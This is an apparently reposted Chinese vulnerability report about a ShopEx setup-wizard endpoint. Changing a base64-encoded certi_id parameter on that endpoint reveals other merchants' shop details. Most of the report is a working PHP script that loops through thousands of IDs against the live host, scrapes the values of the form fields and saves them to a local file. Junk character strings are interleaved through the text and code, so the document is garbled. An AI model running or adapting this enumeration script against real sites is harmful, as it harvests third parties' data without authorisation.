ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
) w! E# B4 U# c详细说明：
9 Z, e, V3 S. X5 r2 m问题出现在shopex 网店使用向导页面


9 Y- R& R# o2 k8 J0 [" _8 ~6 U- J
  Q* {" J( l7 P& Q/ qhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
$ ~. T0 r) T) `% E+ y


) N& ?- S( [! j* crefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}


# J" e' n" m8 B+ J# \
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
+ Y, d  N  L- Q9 E
) O3 y5 Z$ v: W% L# B$ S5 x% U
0 T1 p) Q; F2 F2 k4 @2 d" _
( C7 `. Z1 O8 U9 R% Q( _<?php

4 a, s# m- M+ }6 M& q                for ($i=1; $i < 10000; $i++) { //遍历
1 V  M5 V2 Q9 r: ?( x7 R# T
                        ShowshopExD($i);

+ m& S5 S/ ~+ C" i% ]) S: d                }

                function ShowshopExD($cid) {
  P2 o1 |5 c6 G( D
                $url='http://guide.ecos.shopex.cn/step2.php';

; s4 l5 l' a2 x1 }  n) o                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
% {8 M7 D, d6 n6 d; G7 `8 T
        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);

; f! ^, C3 c* P        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);
0 S6 J* P' u5 M& t2 g# F# |
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

: _. E0 B- ]" c- c        if(strpos($result,$refer))

        {
8 P, Y( e. h2 }+ C% C$ Q4 \8 Z# G
& t0 M. G) h5 m                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
" m+ m2 y/ F2 [) l" [6 Y$ k
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {

' R& U' H; q1 H9 V                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
2 x: R1 x) ~1 f6 `
                        echo $res[1][0].':'.$res[3][0]."\r\n";

- X. F) P# v8 F! u+ O8 z. J                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));
) r7 o( w, l) b7 ~+ d
+ O; ]( C9 E# A, V; i7 j4 E. e8 L                }
9 R( S3 W% v; h/ z7 f
                echo '--------------------------------'."\r\n";
" e# P. Z: j8 q/ s& n$ \
! a0 s, @+ i1 A                fclose($fp);

" x/ Y9 U# i& h; Q. X* j( n5 v/ r        }

+ R, d' J* H( d# b. {        flush();

) a2 X: s; D( l, {        curl_close($ch);
% W/ |7 b+ b  h& [7 ~5 |9 G4 M
$ i, m# e8 X/ U8 k6 _$ C- w                }

/ ]5 }" o9 g6 w1 `?>
漏洞证明：
& D% N$ q' E9 P* x  R7 A, V+ F* chttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
5 d. w# F# l$ P, G* _3 [8 c$ [refer换成其他加密方式
; s/ Y9 u. j' h0 h8 a+ m! B